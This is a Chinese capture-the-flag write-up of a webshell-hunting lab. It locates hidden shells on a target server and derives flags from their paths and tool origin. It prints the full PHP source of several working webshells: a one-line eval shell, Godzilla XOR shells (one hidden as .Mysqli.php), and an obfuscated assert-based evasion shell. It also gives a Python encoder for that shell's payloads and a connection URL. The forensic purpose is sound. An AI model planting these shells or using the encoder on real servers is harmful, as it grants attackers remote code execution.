WebShell 查杀

  • 靶机账号密码:root/xjwebshell
  • 要求如下:
    • 黑客 WebShell 里面的 flag;(flag {xxxxx-xxxx-xxxx-xxxx-xxxx})
    • 黑客使用的什么工具的 Shell;(github 地址的 md5,flag {md5})
    • 黑客隐藏 Shell 的完整路径的 md5;(flag {md5})
    • 黑客免杀马完整路径的 md5;(flag {md5})

1 黑客 WebShell 里面的 flag

[!Warning]
由于靶机按时扣费,所以一进去先把文件 dump 下来。

打包命令如下:

1
tar zcvf html.tar.gz /var/www/html/*

打包完成后,解压结果如下:

由于需要查找 WebShell,这里使用 D 盾扫一扫:

发现了四个可疑文件,依次查看其内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
# shell.php
<?php phpinfo();@eval($_REQUEST[1]);?>

# gz.php
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
//027ccd04-5065-48b6-a32d-77c704a5e26d
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo encode(@run($data),$key);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}

# top.php
<?php

$key = "password";

//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
$fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);

# .Mysqli.php
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo encode(@run($data),$key);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}

可以很明显的看出这四个具有 WebShell 特征,其中 gz.php 中还发现了 flag:

1
flag{027ccd04-5065-48b6-a32d-77c704a5e26d}

2 黑客使用的什么工具的 Shell

这里需要判断黑客使用的工具是什么,直接把代码放入 github 中查询:

可以很明显的发现是一个 Godzilla 木马,工具的 Github 地址为:

1
https://github.com/BeichenDream/Godzilla

可得到 flag 为:

1
flag{39392de3218c333f794befef07ac9257}

3 黑客隐藏 Shell 的完整路径的 md5

根据上述 D 盾扫描出的结果,可以得出隐藏的 Shell 路径为:

1
/var/www/html/include/Db/.Mysqli.php

可得到 flag 为:

1
flag{aebac0e58cd6c5fad1695ee4d1ac1919}

4 黑客免杀马完整路径的 md5

对于免杀马而言,一般会经过一些加密混淆,简单查看 top.php 比较符合需求:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$key = "password";

//ERsDHgEUC1hI
$fun = base64_decode($_GET['func']);
for($i=0;$i<strlen($fun);$i++){
$fun[$i] = $fun[$i]^$key[$i+1&7];
}
$a = "a";
$s = "s";
$c=$a.$s.$_GET["func2"];
$c($fun);

对于上述代码而言,正对 func 参数值进行 base64 解码后,进入 for 循环。在 for 循环内使用 $key 进行循环异或处理,产生一个正常的命令执行字符串。

可以正对其进行逆向推理,得出一下 Python 加密代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import base64

def prepare_func(data, key):
# 确保输入数据和密钥是字节类型
if isinstance(data, str):
data = data.encode()
if isinstance(key, str):
key = key.encode()

encrypted = bytearray()
for i in range(len(data)):
# 计算密钥的索引
key_index = (i + 1) & 7
# 执行异或操作
encrypted_byte = data[i] ^ key[key_index]
encrypted.append(encrypted_byte)

# 将字节数组转换为 Base64 编码
return base64.b64encode(bytes(encrypted)).decode()

# 示例用法:输入数据并使用固定密钥
fixed_key = "password" # 固定密钥
input_data = input("Enter the data to encrypt: ").encode()

func = prepare_func(input_data, fixed_key)
print("Generated func:", func)

WebShell 连接方式如下:

1
top.php?fuc=ERsDHgEUC1hI&func2=sert

可以得出免杀的 Shell 路径为:

1
/var/www/html/wap/top.php

可得到 flag 为:

1
flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}